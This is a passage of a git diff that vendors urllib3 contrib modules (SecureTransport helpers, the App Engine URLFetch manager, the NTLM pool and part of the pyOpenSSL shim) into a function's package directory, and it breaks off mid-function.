dictionary_size)(*keys) + cf_values = (CoreFoundation.CFTypeRef * dictionary_size)(*values) + + return CoreFoundation.CFDictionaryCreate( + CoreFoundation.kCFAllocatorDefault, + cf_keys, + cf_values, + dictionary_size, + CoreFoundation.kCFTypeDictionaryKeyCallBacks, + CoreFoundation.kCFTypeDictionaryValueCallBacks, + ) + + +def _cfstr(py_bstr): + """ + Given a Python binary data, create a CFString. + The string must be CFReleased by the caller. + """ + c_str = ctypes.c_char_p(py_bstr) + cf_str = CoreFoundation.CFStringCreateWithCString( + CoreFoundation.kCFAllocatorDefault, + c_str, + CFConst.kCFStringEncodingUTF8, + ) + return cf_str + + +def _create_cfstring_array(lst): + """ + Given a list of Python binary data, create an associated CFMutableArray. + The array must be CFReleased by the caller. + + Raises an ssl.SSLError on failure. + """ + cf_arr = None + try: + cf_arr = CoreFoundation.CFArrayCreateMutable( + CoreFoundation.kCFAllocatorDefault, + 0, + ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), + ) + if not cf_arr: + raise MemoryError("Unable to allocate memory!") + for item in lst: + cf_str = _cfstr(item) + if not cf_str: + raise MemoryError("Unable to allocate memory!") + try: + CoreFoundation.CFArrayAppendValue(cf_arr, cf_str) + finally: + CoreFoundation.CFRelease(cf_str) + except BaseException as e: + if cf_arr: + CoreFoundation.CFRelease(cf_arr) + raise ssl.SSLError("Unable to allocate array: %s" % (e,)) + return cf_arr + + +def _cf_string_to_unicode(value): + """ + Creates a Unicode string from a CFString object. Used entirely for error + reporting. + + Yes, it annoys me quite a lot that this function is this complex. + """ + value_as_void_p = ctypes.cast(value, ctypes.POINTER(ctypes.c_void_p)) + + string = CoreFoundation.CFStringGetCStringPtr( + value_as_void_p, CFConst.kCFStringEncodingUTF8 + ) + if string is None: + buffer = ctypes.create_string_buffer(1024) + result = CoreFoundation.CFStringGetCString( + value_as_void_p, buffer, 1024, CFConst.kCFStringEncodingUTF8 + ) + if not result: + raise OSError("Error copying C string from CFStringRef") + string = buffer.value + if string is not None: + string = string.decode("utf-8") + return string + + +def _assert_no_error(error, exception_class=None): + """ + Checks the return code and throws an exception if there is an error to + report + """ + if error == 0: + return + + cf_error_string = Security.SecCopyErrorMessageString(error, None) + output = _cf_string_to_unicode(cf_error_string) + CoreFoundation.CFRelease(cf_error_string) + + if output is None or output == u"": + output = u"OSStatus %s" % error + + if exception_class is None: + exception_class = ssl.SSLError + + raise exception_class(output) + + +def _cert_array_from_pem(pem_bundle): + """ + Given a bundle of certs in PEM format, turns them into a CFArray of certs + that can be used to validate a cert chain. + """ + # Normalize the PEM bundle's line endings. + pem_bundle = pem_bundle.replace(b"\r\n", b"\n") + + der_certs = [ + base64.b64decode(match.group(1)) for match in _PEM_CERTS_RE.finditer(pem_bundle) + ] + if not der_certs: + raise ssl.SSLError("No root certificates specified") + + cert_array = CoreFoundation.CFArrayCreateMutable( + CoreFoundation.kCFAllocatorDefault, + 0, + ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), + ) + if not cert_array: + raise ssl.SSLError("Unable to allocate memory!") + + try: + for der_bytes in der_certs: + certdata = _cf_data_from_bytes(der_bytes) + if not certdata: + raise ssl.SSLError("Unable to allocate memory!") + cert = Security.SecCertificateCreateWithData( + CoreFoundation.kCFAllocatorDefault, certdata + ) + CoreFoundation.CFRelease(certdata) + if not cert: + raise ssl.SSLError("Unable to build cert object!") + + CoreFoundation.CFArrayAppendValue(cert_array, cert) + CoreFoundation.CFRelease(cert) + except Exception: + # We need to free the array before the exception bubbles further. + # We only want to do that if an error occurs: otherwise, the caller + # should free. + CoreFoundation.CFRelease(cert_array) + raise + + return cert_array + + +def _is_cert(item): + """ + Returns True if a given CFTypeRef is a certificate. + """ + expected = Security.SecCertificateGetTypeID() + return CoreFoundation.CFGetTypeID(item) == expected + + +def _is_identity(item): + """ + Returns True if a given CFTypeRef is an identity. + """ + expected = Security.SecIdentityGetTypeID() + return CoreFoundation.CFGetTypeID(item) == expected + + +def _temporary_keychain(): + """ + This function creates a temporary Mac keychain that we can use to work with + credentials. This keychain uses a one-time password and a temporary file to + store the data. We expect to have one keychain per socket. The returned + SecKeychainRef must be freed by the caller, including calling + SecKeychainDelete. + + Returns a tuple of the SecKeychainRef and the path to the temporary + directory that contains it. + """ + # Unfortunately, SecKeychainCreate requires a path to a keychain. This + # means we cannot use mkstemp to use a generic temporary file. Instead, + # we're going to create a temporary directory and a filename to use there. + # This filename will be 8 random bytes expanded into base64. We also need + # some random bytes to password-protect the keychain we're creating, so we + # ask for 40 random bytes. + random_bytes = os.urandom(40) + filename = base64.b16encode(random_bytes[:8]).decode("utf-8") + password = base64.b16encode(random_bytes[8:]) # Must be valid UTF-8 + tempdirectory = tempfile.mkdtemp() + + keychain_path = os.path.join(tempdirectory, filename).encode("utf-8") + + # We now want to create the keychain itself. + keychain = Security.SecKeychainRef() + status = Security.SecKeychainCreate( + keychain_path, len(password), password, False, None, ctypes.byref(keychain) + ) + _assert_no_error(status) + + # Having created the keychain, we want to pass it off to the caller. + return keychain, tempdirectory + + +def _load_items_from_file(keychain, path): + """ + Given a single file, loads all the trust objects from it into arrays and + the keychain. + Returns a tuple of lists: the first list is a list of identities, the + second a list of certs. + """ + certificates = [] + identities = [] + result_array = None + + with open(path, "rb") as f: + raw_filedata = f.read() + + try: + filedata = CoreFoundation.CFDataCreate( + CoreFoundation.kCFAllocatorDefault, raw_filedata, len(raw_filedata) + ) + result_array = CoreFoundation.CFArrayRef() + result = Security.SecItemImport( + filedata, # cert data + None, # Filename, leaving it out for now + None, # What the type of the file is, we don't care + None, # what's in the file, we don't care + 0, # import flags + None, # key params, can include passphrase in the future + keychain, # The keychain to insert into + ctypes.byref(result_array), # Results + ) + _assert_no_error(result) + + # A CFArray is not very useful to us as an intermediary + # representation, so we are going to extract the objects we want + # and then free the array. We don't need to keep hold of keys: the + # keychain already has them! + result_count = CoreFoundation.CFArrayGetCount(result_array) + for index in range(result_count): + item = CoreFoundation.CFArrayGetValueAtIndex(result_array, index) + item = ctypes.cast(item, CoreFoundation.CFTypeRef) + + if _is_cert(item): + CoreFoundation.CFRetain(item) + certificates.append(item) + elif _is_identity(item): + CoreFoundation.CFRetain(item) + identities.append(item) + finally: + if result_array: + CoreFoundation.CFRelease(result_array) + + CoreFoundation.CFRelease(filedata) + + return (identities, certificates) + + +def _load_client_cert_chain(keychain, *paths): + """ + Load certificates and maybe keys from a number of files. Has the end goal + of returning a CFArray containing one SecIdentityRef, and then zero or more + SecCertificateRef objects, suitable for use as a client certificate trust + chain. + """ + # Ok, the strategy. + # + # This relies on knowing that macOS will not give you a SecIdentityRef + # unless you have imported a key into a keychain. This is a somewhat + # artificial limitation of macOS (for example, it doesn't necessarily + # affect iOS), but there is nothing inside Security.framework that lets you + # get a SecIdentityRef without having a key in a keychain. + # + # So the policy here is we take all the files and iterate them in order. + # Each one will use SecItemImport to have one or more objects loaded from + # it. We will also point at a keychain that macOS can use to work with the + # private key. + # + # Once we have all the objects, we'll check what we actually have. If we + # already have a SecIdentityRef in hand, fab: we'll use that. Otherwise, + # we'll take the first certificate (which we assume to be our leaf) and + # ask the keychain to give us a SecIdentityRef with that cert's associated + # key. + # + # We'll then return a CFArray containing the trust chain: one + # SecIdentityRef and then zero-or-more SecCertificateRef objects. The + # responsibility for freeing this CFArray will be with the caller. This + # CFArray must remain alive for the entire connection, so in practice it + # will be stored with a single SSLSocket, along with the reference to the + # keychain. + certificates = [] + identities = [] + + # Filter out bad paths. + paths = (path for path in paths if path) + + try: + for file_path in paths: + new_identities, new_certs = _load_items_from_file(keychain, file_path) + identities.extend(new_identities) + certificates.extend(new_certs) + + # Ok, we have everything. The question is: do we have an identity? If + # not, we want to grab one from the first cert we have. + if not identities: + new_identity = Security.SecIdentityRef() + status = Security.SecIdentityCreateWithCertificate( + keychain, certificates[0], ctypes.byref(new_identity) + ) + _assert_no_error(status) + identities.append(new_identity) + + # We now want to release the original certificate, as we no longer + # need it. + CoreFoundation.CFRelease(certificates.pop(0)) + + # We now need to build a new CFArray that holds the trust chain. + trust_chain = CoreFoundation.CFArrayCreateMutable( + CoreFoundation.kCFAllocatorDefault, + 0, + ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), + ) + for item in itertools.chain(identities, certificates): + # ArrayAppendValue does a CFRetain on the item. That's fine, + # because the finally block will release our other refs to them. + CoreFoundation.CFArrayAppendValue(trust_chain, item) + + return trust_chain + finally: + for obj in itertools.chain(identities, certificates): + CoreFoundation.CFRelease(obj) + + +TLS_PROTOCOL_VERSIONS = { + "SSLv2": (0, 2), + "SSLv3": (3, 0), + "TLSv1": (3, 1), + "TLSv1.1": (3, 2), + "TLSv1.2": (3, 3), +} + + +def _build_tls_unknown_ca_alert(version): + """ + Builds a TLS alert record for an unknown CA. + """ + ver_maj, ver_min = TLS_PROTOCOL_VERSIONS[version] + severity_fatal = 0x02 + description_unknown_ca = 0x30 + msg = struct.pack(">BB", severity_fatal, description_unknown_ca) + msg_len = len(msg) + record_type_alert = 0x15 + record = struct.pack(">BBBH", record_type_alert, ver_maj, ver_min, msg_len) + msg + return record diff --git a/function/http/package/urllib3/contrib/appengine.py b/function/http/package/urllib3/contrib/appengine.py new file mode 100644 index 0000000..f91bdd6 --- /dev/null +++ b/function/http/package/urllib3/contrib/appengine.py @@ -0,0 +1,314 @@ +""" +This module provides a pool manager that uses Google App Engine's +`URLFetch Service `_. + +Example usage:: + + from urllib3 import PoolManager + from urllib3.contrib.appengine import AppEngineManager, is_appengine_sandbox + + if is_appengine_sandbox(): + # AppEngineManager uses AppEngine's URLFetch API behind the scenes + http = AppEngineManager() + else: + # PoolManager uses a socket-level API behind the scenes + http = PoolManager() + + r = http.request('GET', 'https://google.com/') + +There are `limitations `_ to the URLFetch service and it may not be +the best choice for your application. There are three options for using +urllib3 on Google App Engine: + +1. You can use :class:`AppEngineManager` with URLFetch. URLFetch is + cost-effective in many circumstances as long as your usage is within the + limitations. +2. You can use a normal :class:`~urllib3.PoolManager` by enabling sockets. + Sockets also have `limitations and restrictions + `_ and have a lower free quota than URLFetch. + To use sockets, be sure to specify the following in your ``app.yaml``:: + + env_variables: + GAE_USE_SOCKETS_HTTPLIB : 'true' + +3. If you are using `App Engine Flexible +`_, you can use the standard +:class:`PoolManager` without any configuration or special environment variables. +""" + +from __future__ import absolute_import + +import io +import logging +import warnings + +from ..exceptions import ( + HTTPError, + HTTPWarning, + MaxRetryError, + ProtocolError, + SSLError, + TimeoutError, +) +from ..packages.six.moves.urllib.parse import urljoin +from ..request import RequestMethods +from ..response import HTTPResponse +from ..util.retry import Retry +from ..util.timeout import Timeout +from . import _appengine_environ + +try: + from google.appengine.api import urlfetch +except ImportError: + urlfetch = None + + +log = logging.getLogger(__name__) + + +class AppEnginePlatformWarning(HTTPWarning): + pass + + +class AppEnginePlatformError(HTTPError): + pass + + +class AppEngineManager(RequestMethods): + """ + Connection manager for Google App Engine sandbox applications. + + This manager uses the URLFetch service directly instead of using the + emulated httplib, and is subject to URLFetch limitations as described in + the App Engine documentation `here + `_. + + Notably it will raise an :class:`AppEnginePlatformError` if: + * URLFetch is not available. + * If you attempt to use this on App Engine Flexible, as full socket + support is available. + * If a request size is more than 10 megabytes. + * If a response size is more than 32 megabytes. + * If you use an unsupported request method such as OPTIONS. + + Beyond those cases, it will raise normal urllib3 errors. + """ + + def __init__( + self, + headers=None, + retries=None, + validate_certificate=True, + urlfetch_retries=True, + ): + if not urlfetch: + raise AppEnginePlatformError( + "URLFetch is not available in this environment." + ) + + warnings.warn( + "urllib3 is using URLFetch on Google App Engine sandbox instead " + "of sockets. To use sockets directly instead of URLFetch see " + "https://urllib3.readthedocs.io/en/1.26.x/reference/urllib3.contrib.html.", + AppEnginePlatformWarning, + ) + + RequestMethods.__init__(self, headers) + self.validate_certificate = validate_certificate + self.urlfetch_retries = urlfetch_retries + + self.retries = retries or Retry.DEFAULT + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + # Return False to re-raise any potential exceptions + return False + + def urlopen( + self, + method, + url, + body=None, + headers=None, + retries=None, + redirect=True, + timeout=Timeout.DEFAULT_TIMEOUT, + **response_kw + ): + + retries = self._get_retries(retries, redirect) + + try: + follow_redirects = redirect and retries.redirect != 0 and retries.total + response = urlfetch.fetch( + url, + payload=body, + method=method, + headers=headers or {}, + allow_truncated=False, + follow_redirects=self.urlfetch_retries and follow_redirects, + deadline=self._get_absolute_timeout(timeout), + validate_certificate=self.validate_certificate, + ) + except urlfetch.DeadlineExceededError as e: + raise TimeoutError(self, e) + + except urlfetch.InvalidURLError as e: + if "too large" in str(e): + raise AppEnginePlatformError( + "URLFetch request too large, URLFetch only " + "supports requests up to 10mb in size.", + e, + ) + raise ProtocolError(e) + + except urlfetch.DownloadError as e: + if "Too many redirects" in str(e): + raise MaxRetryError(self, url, reason=e) + raise ProtocolError(e) + + except urlfetch.ResponseTooLargeError as e: + raise AppEnginePlatformError( + "URLFetch response too large, URLFetch only supports" + "responses up to 32mb in size.", + e, + ) + + except urlfetch.SSLCertificateError as e: + raise SSLError(e) + + except urlfetch.InvalidMethodError as e: + raise AppEnginePlatformError( + "URLFetch does not support method: %s" % method, e + ) + + http_response = self._urlfetch_response_to_http_response( + response, retries=retries, **response_kw + ) + + # Handle redirect? + redirect_location = redirect and http_response.get_redirect_location() + if redirect_location: + # Check for redirect response + if self.urlfetch_retries and retries.raise_on_redirect: + raise MaxRetryError(self, url, "too many redirects") + else: + if http_response.status == 303: + method = "GET" + + try: + retries = retries.increment( + method, url, response=http_response, _pool=self + ) + except MaxRetryError: + if retries.raise_on_redirect: + raise MaxRetryError(self, url, "too many redirects") + return http_response + + retries.sleep_for_retry(http_response) + log.debug("Redirecting %s -> %s", url, redirect_location) + redirect_url = urljoin(url, redirect_location) + return self.urlopen( + method, + redirect_url, + body, + headers, + retries=retries, + redirect=redirect, + timeout=timeout, + **response_kw + ) + + # Check if we should retry the HTTP response. + has_retry_after = bool(http_response.getheader("Retry-After")) + if retries.is_retry(method, http_response.status, has_retry_after): + retries = retries.increment(method, url, response=http_response, _pool=self) + log.debug("Retry: %s", url) + retries.sleep(http_response) + return self.urlopen( + method, + url, + body=body, + headers=headers, + retries=retries, + redirect=redirect, + timeout=timeout, + **response_kw + ) + + return http_response + + def _urlfetch_response_to_http_response(self, urlfetch_resp, **response_kw): + + if is_prod_appengine(): + # Production GAE handles deflate encoding automatically, but does + # not remove the encoding header. + content_encoding = urlfetch_resp.headers.get("content-encoding") + + if content_encoding == "deflate": + del urlfetch_resp.headers["content-encoding"] + + transfer_encoding = urlfetch_resp.headers.get("transfer-encoding") + # We have a full response's content, + # so let's make sure we don't report ourselves as chunked data. + if transfer_encoding == "chunked": + encodings = transfer_encoding.split(",") + encodings.remove("chunked") + urlfetch_resp.headers["transfer-encoding"] = ",".join(encodings) + + original_response = HTTPResponse( + # In order for decoding to work, we must present the content as + # a file-like object. + body=io.BytesIO(urlfetch_resp.content), + msg=urlfetch_resp.header_msg, + headers=urlfetch_resp.headers, + status=urlfetch_resp.status_code, + **response_kw + ) + + return HTTPResponse( + body=io.BytesIO(urlfetch_resp.content), + headers=urlfetch_resp.headers, + status=urlfetch_resp.status_code, + original_response=original_response, + **response_kw + ) + + def _get_absolute_timeout(self, timeout): + if timeout is Timeout.DEFAULT_TIMEOUT: + return None # Defer to URLFetch's default. + if isinstance(timeout, Timeout): + if timeout._read is not None or timeout._connect is not None: + warnings.warn( + "URLFetch does not support granular timeout settings, " + "reverting to total or default URLFetch timeout.", + AppEnginePlatformWarning, + ) + return timeout.total + return timeout + + def _get_retries(self, retries, redirect): + if not isinstance(retries, Retry): + retries = Retry.from_int(retries, redirect=redirect, default=self.retries) + + if retries.connect or retries.read or retries.redirect: + warnings.warn( + "URLFetch only supports total retries and does not " + "recognize connect, read, or redirect retry parameters.", + AppEnginePlatformWarning, + ) + + return retries + + +# Alias methods from _appengine_environ to maintain public API interface. + +is_appengine = _appengine_environ.is_appengine +is_appengine_sandbox = _appengine_environ.is_appengine_sandbox +is_local_appengine = _appengine_environ.is_local_appengine +is_prod_appengine = _appengine_environ.is_prod_appengine +is_prod_appengine_mvms = _appengine_environ.is_prod_appengine_mvms diff --git a/function/http/package/urllib3/contrib/ntlmpool.py b/function/http/package/urllib3/contrib/ntlmpool.py new file mode 100644 index 0000000..41a8fd1 --- /dev/null +++ b/function/http/package/urllib3/contrib/ntlmpool.py @@ -0,0 +1,130 @@ +""" +NTLM authenticating pool, contributed by erikcederstran + +Issue #10, see: http://code.google.com/p/urllib3/issues/detail?id=10 +""" +from __future__ import absolute_import + +import warnings +from logging import getLogger + +from ntlm import ntlm + +from .. import HTTPSConnectionPool +from ..packages.six.moves.http_client import HTTPSConnection + +warnings.warn( + "The 'urllib3.contrib.ntlmpool' module is deprecated and will be removed " + "in urllib3 v2.0 release, urllib3 is not able to support it properly due " + "to reasons listed in issue: https://github.com/urllib3/urllib3/issues/2282. " + "If you are a user of this module please comment in the mentioned issue.", + DeprecationWarning, +) + +log = getLogger(__name__) + + +class NTLMConnectionPool(HTTPSConnectionPool): + """ + Implements an NTLM authentication version of an urllib3 connection pool + """ + + scheme = "https" + + def __init__(self, user, pw, authurl, *args, **kwargs): + """ + authurl is a random URL on the server that is protected by NTLM. + user is the Windows user, probably in the DOMAIN\\username format. + pw is the password for the user. + """ + super(NTLMConnectionPool, self).__init__(*args, **kwargs) + self.authurl = authurl + self.rawuser = user + user_parts = user.split("\\", 1) + self.domain = user_parts[0].upper() + self.user = user_parts[1] + self.pw = pw + + def _new_conn(self): + # Performs the NTLM handshake that secures the connection. The socket + # must be kept open while requests are performed. + self.num_connections += 1 + log.debug( + "Starting NTLM HTTPS connection no. %d: https://%s%s", + self.num_connections, + self.host, + self.authurl, + ) + + headers = {"Connection": "Keep-Alive"} + req_header = "Authorization" + resp_header = "www-authenticate" + + conn = HTTPSConnection(host=self.host, port=self.port) + + # Send negotiation message + headers[req_header] = "NTLM %s" % ntlm.create_NTLM_NEGOTIATE_MESSAGE( + self.rawuser + ) + log.debug("Request headers: %s", headers) + conn.request("GET", self.authurl, None, headers) + res = conn.getresponse() + reshdr = dict(res.getheaders()) + log.debug("Response status: %s %s", res.status, res.reason) + log.debug("Response headers: %s", reshdr) + log.debug("Response data: %s [...]", res.read(100)) + + # Remove the reference to the socket, so that it can not be closed by + # the response object (we want to keep the socket open) + res.fp = None + + # Server should respond with a challenge message + auth_header_values = reshdr[resp_header].split(", ") + auth_header_value = None + for s in auth_header_values: + if s[:5] == "NTLM ": + auth_header_value = s[5:] + if auth_header_value is None: + raise Exception( + "Unexpected %s response header: %s" % (resp_header, reshdr[resp_header]) + ) + + # Send authentication message + ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE( + auth_header_value + ) + auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE( + ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags + ) + headers[req_header] = "NTLM %s" % auth_msg + log.debug("Request headers: %s", headers) + conn.request("GET", self.authurl, None, headers) + res = conn.getresponse() + log.debug("Response status: %s %s", res.status, res.reason) + log.debug("Response headers: %s", dict(res.getheaders())) + log.debug("Response data: %s [...]", res.read()[:100]) + if res.status != 200: + if res.status == 401: + raise Exception("Server rejected request: wrong username or password") + raise Exception("Wrong server response: %s %s" % (res.status, res.reason)) + + res.fp = None + log.debug("Connection established") + return conn + + def urlopen( + self, + method, + url, + body=None, + headers=None, + retries=3, + redirect=True, + assert_same_host=True, + ): + if headers is None: + headers = {} + headers["Connection"] = "Keep-Alive" + return super(NTLMConnectionPool, self).urlopen( + method, url, body, headers, retries, redirect, assert_same_host + ) diff --git a/function/http/package/urllib3/contrib/pyopenssl.py b/function/http/package/urllib3/contrib/pyopenssl.py new file mode 100644 index 0000000..1ed214b --- /dev/null +++ b/function/http/package/urllib3/contrib/pyopenssl.py @@ -0,0 +1,518 @@ +""" +TLS with SNI_-support for Python 2. Follow these instructions if you would +like to verify TLS certificates in Python 2. Note, the default libraries do +*not* do certificate checking; you need to do additional work to validate +certificates yourself. + +This needs the following packages installed: + +* `pyOpenSSL`_ (tested with 16.0.0) +* `cryptography`_ (minimum 1.3.4, from pyopenssl) +* `idna`_ (minimum 2.0, from cryptography) + +However, pyopenssl depends on cryptography, which depends on idna, so while we +use all three directly here we end up having relatively few packages required. + +You can install them with the following command: + +.. code-block:: bash + + $ python -m pip install pyopenssl cryptography idna + +To activate certificate checking, call +:func:`~urllib3.contrib.pyopenssl.inject_into_urllib3` from your Python code +before you begin making HTTP requests. This can be done in a ``sitecustomize`` +module, or at any other time before your application begins using ``urllib3``, +like this: + +.. code-block:: python + + try: + import urllib3.contrib.pyopenssl + urllib3.contrib.pyopenssl.inject_into_urllib3() + except ImportError: + pass + +Now you can use :mod:`urllib3` as you normally would, and it will support SNI +when the required modules are installed. + +Activating this module also has the positive side effect of disabling SSL/TLS +compression in Python 2 (see `CRIME attack`_). + +.. _sni: https://en.wikipedia.org/wiki/Server_Name_Indication +.. _crime attack: https://en.wikipedia.org/wiki/CRIME_(security_exploit) +.. _pyopenssl: https://www.pyopenssl.org +.. _cryptography: https://cryptography.io +.. _idna: https://github.com/kjd/idna +""" +from __future__ import absolute_import + +import OpenSSL.crypto +import OpenSSL.SSL +from cryptography import x509 +from cryptography.hazmat.backends.openssl import backend as openssl_backend + +try: + from cryptography.x509 import UnsupportedExtension +except ImportError: + # UnsupportedExtension is gone in cryptography >= 2.1.0 + class UnsupportedExtension(Exception): + pass + + +from io import BytesIO +from socket import error as SocketError +from socket import timeout + +try: # Platform-specific: Python 2 + from socket import _fileobject +except ImportError: # Platform-specific: Python 3 + _fileobject = None + from ..packages.backports.makefile import backport_makefile + +import logging +import ssl +import sys +import warnings + +from .. import util +from ..packages import six +from ..util.ssl_ import PROTOCOL_TLS_CLIENT + +warnings.warn( + "'urllib3.contrib.pyopenssl' module is deprecated and will be removed " + "in a future release of urllib3 2.x. Read more in this issue: " + "https://github.com/urllib3/urllib3/issues/2680", + category=DeprecationWarning, + stacklevel=2, +) + +__all__ = ["inject_into_urllib3", "extract_from_urllib3"] + +# SNI always works. +HAS_SNI = True + +# Map from urllib3 to PyOpenSSL compatible parameter-values. +_openssl_versions = { + util.PROTOCOL_TLS: OpenSSL.SSL.SSLv23_METHOD, + PROTOCOL_TLS_CLIENT: OpenSSL.SSL.SSLv23_METHOD, + ssl.PROTOCOL_TLSv1: OpenSSL.SSL.TLSv1_METHOD, +} + +if hasattr(ssl, "PROTOCOL_SSLv3") and hasattr(OpenSSL.SSL, "SSLv3_METHOD"): + _openssl_versions[ssl.PROTOCOL_SSLv3] = OpenSSL.SSL.SSLv3_METHOD + +if hasattr(ssl, "PROTOCOL_TLSv1_1") and hasattr(OpenSSL.SSL, "TLSv1_1_METHOD"): + _openssl_versions[ssl.PROTOCOL_TLSv1_1] = OpenSSL.SSL.TLSv1_1_METHOD + +if hasattr(ssl, "PROTOCOL_TLSv1_2") and hasattr(OpenSSL.SSL, "TLSv1_2_METHOD"): + _openssl_versions[ssl.PROTOCOL_TLSv1_2] = OpenSSL.SSL.TLSv1_2_METHOD + + +_stdlib_to_openssl_verify = { + ssl.CERT_NONE: OpenSSL.SSL.VERIFY_NONE, + ssl.CERT_OPTIONAL: OpenSSL.SSL.VERIFY_PEER, + ssl.CERT_REQUIRED: OpenSSL.SSL.VERIFY_PEER + + OpenSSL.SSL.VERIFY_FAIL_IF_NO_PEER_CERT, +} +_openssl_to_stdlib_verify = dict((v, k) for k, v in _stdlib_to_openssl_verify.items()) + +# OpenSSL will only write 16K at a time +SSL_WRITE_BLOCKSIZE = 16384 + +orig_util_HAS_SNI = util.HAS_SNI +orig_util_SSLContext = util.ssl_.SSLContext + + +log = logging.getLogger(__name__) + + +def inject_into_urllib3(): + "Monkey-patch urllib3 with PyOpenSSL-backed SSL-support." + + _validate_dependencies_met() + + util.SSLContext = PyOpenSSLContext + util.ssl_.SSLContext = PyOpenSSLContext + util.HAS_SNI = HAS_SNI + util.ssl_.HAS_SNI = HAS_SNI + util.IS_PYOPENSSL = True + util.ssl_.IS_PYOPENSSL = True + + +def extract_from_urllib3(): + "Undo monkey-patching by :func:`inject_into_urllib3`." + + util.SSLContext = orig_util_SSLContext + util.ssl_.SSLContext = orig_util_SSLContext + util.HAS_SNI = orig_util_HAS_SNI + util.ssl_.HAS_SNI = orig_util_HAS_SNI + util.IS_PYOPENSSL = False + util.ssl_.IS_PYOPENSSL = False + + +def _validate_dependencies_met(): + """ + Verifies that PyOpenSSL's package-level dependencies have been met. + Throws `ImportError` if they are not met. + """ + # Method added in `cryptography==1.1`; not available in older versions + from cryptography.x509.extensions import Extensions + + if getattr(Extensions, "get_extension_for_class", None) is None: + raise ImportError( + "'cryptography' module missing required functionality. " + "Try upgrading to v1.3.4 or newer." + ) + + # pyOpenSSL 0.14 and above use cryptography for OpenSSL bindings. The _x509 + # attribute is only present on those versions. + from OpenSSL.crypto import X509 + + x509 = X509() + if getattr(x509, "_x509", None) is None: + raise ImportError( + "'pyOpenSSL' module missing required functionality. " + "Try upgrading to v0.14 or newer." + ) + + +def _dnsname_to_stdlib(name): + """ + Converts a dNSName SubjectAlternativeName field to the form used by the + standard library on the given Python version. + + Cryptography produces a dNSName as a unicode string that was idna-decoded + from ASCII bytes. We need to idna-encode that string to get it back, and + then on Python 3 we also need to convert to unicode via UTF-8 (the stdlib + uses PyUnicode_FromStringAndSize on it, which decodes via UTF-8). + + If the name cannot be idna-encoded then we return None signalling that + the name given should be skipped. + """ + + def idna_encode(name): + """ + Borrowed wholesale from the Python Cryptography Project. It turns out + that we can't just safely call `idna.encode`: it can explode for + wildcard names. This avoids that problem. + """ + import idna + + try: + for prefix in [u"*.", u"."]: + if name.startswith(prefix): + name = name[len(prefix) :] + return prefix.encode("ascii") + idna.encode(name) + return idna.encode(name) + except idna.core.IDNAError: + return None + + # Don't send IPv6 addresses through the IDNA encoder. + if ":" in name: + return name + + name = idna_encode(name) + if name is None: + return None + elif sys.version_info >= (3, 0): + name = name.decode("utf-8") + return name + + +def get_subj_alt_name(peer_cert): + """ + Given an PyOpenSSL certificate, provides all the subject alternative names. + """ + # Pass the cert to cryptography, which has much better APIs for this. + if hasattr(peer_cert, "to_cryptography"): + cert = peer_cert.to_cryptography() + else: + der = OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_ASN1, peer_cert) + cert = x509.load_der_x509_certificate(der, openssl_backend) + + # We want to find the SAN extension. Ask Cryptography to locate it (it's + # faster than looping in Python) + try: + ext = cert.extensions.get_extension_for_class(x509.SubjectAlternativeName).value + except x509.ExtensionNotFound: + # No such extension, return the empty list. + return [] + except ( + x509.DuplicateExtension, + UnsupportedExtension, + x509.UnsupportedGeneralNameType, + UnicodeError, + ) as e: + # A problem has been found with the quality of the certificate. Assume + # no SAN field is present. + log.warning( + "A problem was encountered with the certificate that prevented " + "urllib3 from finding the SubjectAlternativeName field. This can " + "affect certificate validation. The error was %s", + e, + ) + return [] + + # We want to return dNSName and iPAddress fields. We need to cast the IPs + # back to strings because the match_hostname function wants them as + # strings. + # Sadly the DNS names need to be idna encoded and then, on Python 3, UTF-8 + # decoded. This is pretty frustrating, but that's what the standard library + # does with certificates, and so we need to attempt to do the same. + # We also want to skip over names which cannot be idna encoded. + names = [ + ("DNS", name) + for name in map(_dnsname_to_stdlib, ext.get_values_for_type(x509.DNSName)) + if name is not None + ] + names.extend( + ("IP Address", str(name)) for name in ext.get_values_for_type(x509.IPAddress) + ) + + return names + + +class WrappedSocket(object): + """API-compatibility wrapper for Python OpenSSL's Connection-class. + + Note: _makefile_refs, _drop() and _reuse() are needed for the garbage + collector of pypy. + """ + + def __init__(self, connection, socket, suppress_ragged_eofs=True): + self.connection = connection + self.socket = socket + self.suppress_ragged_eofs = suppress_ragged_eofs + self._makefile_refs = 0 + self._closed = False + + def fileno(self): + return self.socket.fileno() + + # Copy-pasted from Python 3.5 source code + def _decref_socketios(self): + if self._makefile_refs > 0: + self._makefile_refs -= 1 + if self._closed: + self.close() + + def recv(self, *args, **kwargs): + try: + data = self.connection.recv(*args, **kwargs) + except OpenSSL.SSL.SysCallError as e: + if self.suppress_ragged_eofs and e.args == (-1, "Unexpected EOF"): + return b"" + else: + raise SocketError(str(e)) + except OpenSSL.SSL.ZeroReturnError: + if self.connection.get_shutdown() == OpenSSL.SSL.RECEIVED_SHUTDOWN: + return b"" + else: + raise + except OpenSSL.SSL.WantReadError: + if not util.wait_for_read(self.socket, self.socket.gettimeout()): + raise timeout("The read operation timed out") + else: + return self.recv(*args, **kwargs) + + # TLS 1.3 post-handshake authentication + except OpenSSL.SSL.Error as e: + raise ssl.SSLError("read error: %r" % e) + else: + return data + + def recv_into(self, *args, **kwargs): + try: + return self.connection.recv_into(*args, **kwargs) + except OpenSSL.SSL.SysCallError as e: + if self.suppress_ragged_eofs and e.args == (-1, "Unexpected EOF"): + return 0 + else: + raise SocketError(str(e)) + except OpenSSL.SSL.ZeroReturnError: + if self.connection.get_shutdown() == OpenSSL.SSL.RECEIVED_SHUTDOWN: + return 0 + else: + raise + except OpenSSL.SSL.WantReadError: + if not util.wait_for_read(self.socket, self.socket.gettimeout()): + raise timeout("The read operation timed out") + else: + return self.recv_into(*args, **kwargs) + + # TLS 1.3 post-handshake authentication + except OpenSSL.SSL.Error as e: + raise ssl.SSLError("read error: %r" % e) + + def settimeout(self, timeout): + return self.socket.settimeout(timeout) + + def _send_until_done(self, data): + while True: + try: + return self.connection.send(data) + except OpenSSL.SSL.WantWriteError: + if not util.wait_for_write(self.socket, self.socket.gettimeout()): + raise 